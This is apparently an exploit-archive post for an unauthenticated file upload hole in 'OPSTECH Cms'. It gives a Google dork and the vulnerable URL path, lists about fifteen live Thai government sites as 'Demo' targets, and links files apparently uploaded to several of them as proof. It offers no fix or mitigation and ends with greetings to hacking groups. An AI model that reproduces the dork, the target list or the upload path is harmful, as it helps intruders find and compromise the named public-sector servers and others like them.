################################################################################# # OPSTECH Cms File Upload Vulnerability # Author : Turk@Xtra # Google Dork: inurl://index.php?mod=help_add # Date:2017-03-15 # Tested on: Win 7, Linux ################################################################################# # [!] Exploit : http://127.0.0.1/index.php?mod=help_add&path=help ################################################################################ # Demo : http://www.chongsammorlocal.go.th/index.php?mod=help_add&path=help http://www.chumsang.go.th/index.php?mod=help_add&path=help http://www.cpao.go.th/index.php?mod=help_add&path=help http://www.borthong.go.th/index.php?mod=help_add&path=help http://www.donong.go.th/index.php?mod=help_add&path=help http://www.khokkachai.go.th/index.php?mod=help_add&path=help http://www.khokyanglocal.go.th/index.php?mod=help_add&path=help http://www.kokkoa.go.th/index.php?mod=help_add&path=help http://www.promtep.go.th/index.php?mod=help_add&path=help http://www.ptb.go.th/index.php?mod=help_add&path=help http://www.rmchaiyaphum.go.th/index.php?mod=help_add&path=help http://www.rungkayai.go.th/index.php?mod=help_add&path=help http://www.sakot.go.th/index.php?mod=help_add&path=help http://www.sano.go.th/index.php?mod=help_add&path=help http://www.secpt.go.th/index.php?mod=help_add&path=help #################################################################################### Place upload File : http://www.secpt.go.th/secpt/mainfile/TwQudX4rWJhm.txt http://www.kksped9.ac.th/kksped9/mainfile/3EFpyagGrQvMhtml http://www.sano.go.th/sano/mainfile/vhENmzqV5r81.txt http://www.promtep.go.th/promtep/mainfile/84jAY7qBpHIM.txt ################################################################################# # Thanks to : ~~> Blackwolf ||Ormazd ||Khatar ||mohammad Pn ||Criminal ||Rabinson. # Iranian Anonymous # Discovered By: Saman.Khan